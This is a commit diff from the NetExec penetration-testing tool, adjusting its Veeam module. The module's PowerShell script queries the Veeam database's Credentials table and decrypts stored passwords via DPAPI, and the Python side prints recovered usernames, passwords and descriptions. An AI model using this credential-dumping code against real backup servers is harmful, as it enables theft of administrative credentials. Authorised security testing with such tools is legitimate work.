Skip to content

Commit 342a130

Browse files
committed
Bug fixes and output formating
1 parent 3235b1d commit 342a130

2 files changed

Lines changed: 8 additions & 7 deletions

File tree

nxc/data/veeam_dump_module/veeam_dump_mssql.ps1

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ $SqlInstanceName = "REPLACE_ME_SqlInstance"
44
$b64Salt = "REPLACE_ME_b64Salt"
55

66
#Forming the connection string
7-
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
7+
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
88
$auth = "Integrated Security=SSPI;" #Local user
99
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
1010
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -23,15 +23,15 @@ catch {
2323
exit -1
2424
}
2525

26-
$rows=($dataset.Tables | Select-Object -Expand Rows)
27-
if ($rows.count -eq 0) {
26+
$output=($dataset.Tables | Select-Object -Expand Rows)
27+
if ($output.count -eq 0) {
2828
Write-Host "No passwords found!"
2929
exit
3030
}
3131

3232
Add-Type -assembly System.Security
3333
# Decrypting passwords using DPAPI
34-
$rows | ForEach-Object -Process {
34+
$output | ForEach-Object -Process {
3535
$EncryptedPWD = [Convert]::FromBase64String($_.password)
3636
$enc = [system.text.encoding]::Default
3737

nxc/modules/veeam.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -167,19 +167,20 @@ def printCreds(self, context, output):
167167
# When powershell returns something else than the usernames and passwords account.split() will throw a ValueError.
168168
# This is likely an error thrown by powershell, so we print the error and the output for debugging purposes.
169169
try:
170-
context.log.highlight(f"{'Username':<30} {'Password':<30} {'Description'}")
171-
context.log.highlight(f"{'--------':<30} {'--------':<30} {'-----------'}")
170+
context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}")
171+
context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}")
172172
for account in output_stripped:
173173
# Remove multiple whitespaces
174174
account = " ".join(account.split())
175175
try:
176176
user, password, description = account.split(" ", 2)
177177
except ValueError:
178178
user, password = account.split(" ", 1)
179+
description = ""
179180
user = user.strip().replace("WHITESPACE_ERROR", " ").strip()
180181
password = password.strip().replace("WHITESPACE_ERROR", " ").strip()
181182
description = description.strip().replace("WHITESPACE_ERROR", " ").strip()
182-
context.log.highlight(f"{user:<30} {password:<30} {description}")
183+
context.log.highlight(f"{user:<40} {password:<40} {description}")
183184
except ValueError:
184185
context.log.fail(f"Powershell returned unexpected output: {output_stripped}")
185186
context.log.fail("Please report this issue on GitHub!")

0 commit comments

Comments
 (0)